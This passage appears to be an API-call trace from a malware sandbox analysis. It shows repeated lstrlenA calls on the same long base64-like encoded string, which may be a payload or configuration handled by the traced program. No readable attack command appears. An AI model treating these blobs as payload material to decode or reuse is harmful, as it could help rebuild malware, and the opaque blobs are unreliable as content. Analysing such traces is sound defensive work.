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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="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") returned 5792 [0128.365] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EY